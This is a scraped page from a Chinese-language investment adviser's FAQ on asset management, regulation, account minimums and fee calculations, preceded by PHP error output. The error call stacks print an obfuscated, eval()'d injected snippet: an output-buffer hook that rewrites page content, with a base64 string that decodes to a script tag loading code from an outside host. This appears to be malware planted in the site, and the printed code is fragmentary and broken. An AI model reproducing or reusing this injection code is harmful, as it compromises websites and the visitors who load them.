( ! ) Warning: ob_start(): no array or string given in C:\wamp64\www\garyupright1\index.php(1) : eval()'d code on line 1
Call Stack
#TimeMemoryFunctionLocation
10.0000261328{main}( )...\index.php:0
20.0000286328eval( 'if(!function_exists('i2aq')){function i2aq($s){if(preg_match_all('##is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('##is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3NwZWNpbWVuZS5uZXQvY2xpY2svd3AtY3Jvbi5waHAgPjwvc2NyaXB0Pg=='),'',$s);if(stristr($s,'=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('i2aq');for($i=0;$i )...\index.php:1
30.0000287552i2aq2( )...\index.php:1
40.0000298192ob_start ( )...\index.php(1) : eval()'d code:1

( ! ) Notice: ob_start(): failed to create buffer in C:\wamp64\www\garyupright1\index.php(1) : eval()'d code on line 1
Call Stack
#TimeMemoryFunctionLocation
10.0000261328{main}( )...\index.php:0
20.0000286328eval( 'if(!function_exists('i2aq')){function i2aq($s){if(preg_match_all('##is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('##is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3NwZWNpbWVuZS5uZXQvY2xpY2svd3AtY3Jvbi5waHAgPjwvc2NyaXB0Pg=='),'',$s);if(stristr($s,'=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('i2aq');for($i=0;$i )...\index.php:1
30.0000287552i2aq2( )...\index.php:1
40.0000298192ob_start ( )...\index.php(1) : eval()'d code:1
资产管理问答
  • Decrease font size
  • Default font           size
  • Increase font size

投資管理服務
個人資產 共同基金

財務規劃服務
保險 投資 稅務 教育 退休 遺產

首次咨詢免費(限投資管理)
TEL: 973-533-1818
FAX: 973-533-9199
Info@uprightfa.com

資產管理問答

 

1、何謂資產管理 (Assets Management)?

資產管理係指由專家代勞,進行研究與投資決策的下達,以買賣或持有投資工具 (如股票、公債、共同基金等) ,資金持有人不必花費時間、精力針對投資市場做研究,僅需支付資產管理費及設立費,便可享受專業投資顧問的服務。 

2、我的資金交由投資顧問處理,安全嗎?

您必需審核投資顧問,是否在美國證管會 (Securities Exchange Committee) ,或州政府證券管理局 (Security Bureau) 登記為註冊投資顧問 (Registered Investment Advisor) ;投資顧問是否有權由您的帳戶內提款;投資顧問過去的表現是否令您滿意。

(1) Upright Financial Corp. (UFC) 在證管會登記的註冊投資顧問(Registered Investment Adviser)檔案號碼是 801-38340。

(2) UFC一旦成為您的投資顧問,為您從事資產管理的工作,便有義務為您進行投資研究,並有權決定買入、賣出的股票 (或其他投資工具) 種類 及買賣時間。您可以選擇任何所中意的證券交易商 (Brokerage Firm)  開立投資帳戶,您是該投資帳戶的持有人,只有帳戶持有人才有權利由該投資帳戶存/ 取款項,除了合約同意的管理費,投資顧問不可能由您的帳戶支取任何款項供其作用。如果任何投資顧問公司要求您資金轉入該公司名下,或某私人名下,您就得特別提高警覺。

(3) 您已閱讀了UFC替客戶們管理資產的抽樣成績單,過去的成績僅供您參考,並不保證未來的表現。如果任何投資顧問,代您進行投資股票,並保證賺錢,皆屬違法行為。 

3、誰是公司的政府主管機構?

根據目前的法令,管理資產超過$3,000萬美金的公司或管理共同基金 (Mutual Fund)的投資顧問,屬於聯邦級主管, 即由聯邦的證券管理委員會 (SEC-Security Exchange Commission) 來主管。不是上述標準,則由州政府的證券管理局 (Security Bureau) 主管。我們目前是屬於聯邦級,同時,也知會登記於需要備案的各州。 

4、我的資金放在銀行有FDIC十萬元的保險,放在證券行是否有類似的保障?

證管法規定 證券交易商購買SIPC (Securities Insurance Protection Corporation) 之保險,由證券商經營不善而發生的損失五十萬之內由SIPC支付,其中現金部分最高理賠到十萬元。有些證券商另外自行加購較高額保險。目前我們所建議的證券商,保額在五千萬以上。

5、參加資產管理有何優缺點?

資產管理係針對個別客戶的不同需要而做的投資組合,操作時可使用的技巧相當多,因此靈活性也非常高。股票上漲時,風險承受力強的客戶可採用融資帳戶 (Margin Account) 以追求更為積極的成果;股票價格處於盤旋期時,則可使用Write Cover Call 之操作技巧以協助顧客增加獲利的可能;股票下跌時,則採Stop-Loss 防線,Put Option等不同的防禦方式。風險承受力強的客戶尚可採 Short Sell (賣空) 方式。當然,並非所有的操作技巧都適用於您,有些朋友較為保守,有些較為激進,我們會為您進行“風險承受能力”的評估,再做進一步適合您的投資規劃。資產管理的缺點在於有最低管理額的限制,(對於小額投資者,我們提供共同基金的管理或諮詢服務) 。 

6、UFC資產管理的最低管理額為多少?

(1) 最低開戶金額:十萬元。投資要風險分散,學理上要十個以上的工業做組合,因此十萬元的風險分散效果不是最好,成績會因股市的好壞,而有明顯的波動。每年成績最好的前幾名,常落在這個族群,因有可能幸運的挑到最好的幾支股票,有一定比例的運氣成分,相同的,碰到股市下挫,恢復能力也較弱,穩定度不理想,不是經濟效益最好的金額。如果不是經濟能力受限,不建議用這個金額來測試我們的績效,因為同樣的十萬元投資,不同的帳戶成績可能有很大的差異。

(2) 理想的投資金額:二十萬元以上。根據過去十幾年操作經驗顯示,二十萬元以上的投資額,相較於十萬元來說,穩定度有明顯的提升。紀錄一再顯示,因資金集中,風險反而分散,獲利能力也在一定水準。如果一時無法有二十萬的投資,也希望以建議的最低理想投資金額,十五萬元開戶。

(3) 低於十萬元:我們建議先以共同基金為工具,可選擇我們的又上成長基金(Upright Growth Fund),約五十支以內的股票投資組合 (有關過去的績效,請參閱相關報導Prospectus & Annual Report);亦可選其他的共同基金,為您設計投資組合,但這組合部份,金額需要大於五萬元。

(4) 低於十萬元:但仍想參加資產管理的項目,這類的投資朋友可能已擁有較多的共同基金,希望能 擁有單一股票這種類型不同的操作,如果金額不是差距很大,風險承受力也適合而且認同我們的投資理念,這個部份我們可以專案評估, 

7、為什麼10萬美金還不是最有經濟效益的投資金額?

因分散十個工業,每個工業只能分配最基本的100至200股,而100至1,000股的交易費相同,所以與$20萬以上的投資額相比,後者在交易費的節省上,有較好的經濟效效益。 

8、UFC收費標準如何?

UFC負責資產管理的服務計費分三項:

(1) 設立費UFC收取期初投資金額的2%,如以後陸續新增投資,則按新增金額部份計算,再次收取2%,每筆費用只有一次,不是每年都收。

(2) 基本管理費以六月三十日及十二月三十一日投資帳戶內的市價為計算基準,每半年收費乙次。管理期間未滿半年者,按比例收取管理費。管理費依使用的工具不同,而有下列的區別﹕

a) 純股票帳戶 (Pure Stocks) 收費每半年1.5%,全年3%。

b) 共同基金帳戶 (Mutual Fund) 收費每半年1%,全年2%。

c) 如投資股票與共同基金的混合則收取費用每半年1.25%,全年收取2.5%。 

 (3) 表現優良分享費:如果您符合證管會規定 (例如您的資產超過75萬,或是國外人帳戶) ,且年投資報酬率超過23%,則 UFC要求與您分享超過23%部份的30%。

例 如:A先生今年4月1日開戶,投資金額10,000元,投資組合為股票和共同基金, A先生於開戶時應繳 (1) 設立費:200元 (2) 管理費:10, 000 *1.25% * (2/6) = 41.67元。假設到六月三十日資金總金額為12,000元,則下半年度為:12,000  * 1.25% = 150元。假設到年底資金總金額為13,000 元,則收取 (1) 第二年度上半年管理費162.5元 (2) 表現優良分享費 (13,000-10,000 * 1.23) = $700, 700 * 30% = 210元 

9、我的資金交由UFC管理,會收什麼憑證嗎?

顧客的資金交由UFC管理,二者將簽立正式契約。每次股票交易,客戶均會收到由獨立的證券交易商(Brokerage Firm)寄出的交易確認書 (Confirmation Letter) 正本,每月證券商則寄出該月交易明細 (Monthly Statement) ,UFC則收副本。 

10、UFC是否保證資產管理下的帳戶一定賺錢?

不能,法律不准許任何一位投資顧問如此保證。作投資顧問比業餘者花費了更多的時間與精力,累積了專業的知識與經驗,面對錯綜複雜的股市,通常有較靈活的應變措施與對策可資使用。 

11、註冊投資顧問與股票經紀人的服務項目與收費方式有何不同?

註冊投資顧問是基於顧客利益的考慮,提供諮詢及資產管理服務。其報酬來自諮詢費及管理費,顧客投資表現良好則投資顧問的酬勞自然增長,因此投資顧問的目標便是顧客的風險承受範圍內,替顧客賺取最大的可能利潤。在我們資產管理項目下,投資顧問並不賺取任何交易佣金,股票交易次數的多寡與投資顧問的收入並不相關,因此投資顧問可以維持相當公正的立場。 

12、除了個別股票的資產管理外,Upright Financial Corp. 還提供其他哪些服務?

(1)   諮詢:

(2)    

A.    投資管理部份-----的客戶首次諮詢免費,但請先準備相關的投資資料和提問。

B.     整體財務規劃部份-----整體財務規劃要能夠達到預期的效果,必須充分瞭解您的家庭財務狀況,這些材料遠超過報稅所需的資訊,由於每個家庭的需求不同,同樣的問題可能使用不同的策略和不同的工具,所以強調的是量身打造和財務規劃。第一次的財務健康檢查特別重要(請參見“重要資訊”中“第一次面談為何如此重要”一文),對 於此種服務,UFC收取諮詢費。第一次檢查費為150元, 約需作業進間2-4小時。檢查後依客戶現有計劃的缺點提出改進的固定套餐費 (Package) ,等客戶同意後才進行第二階段。

(3)   財務規劃:除了投資規劃 (Investment Planning) 外,亦協助顧客進行整體財務規劃, 包括稅務規劃 (Tax Planning) ,保險規劃 (Insurance Planning) ,退休規劃(Retirement Planning) ,及遺產規劃 (Estate Planning)。這個部份,必須完成第一次的財務健康檢查(Fact Finding)之後,才會根據是否有改善的空間以及所需投入的時間和難度,提出所需的費用,你同意之後才會進行。 

顧客們已有投資經驗及知識,但仍想由專家再做一次評估,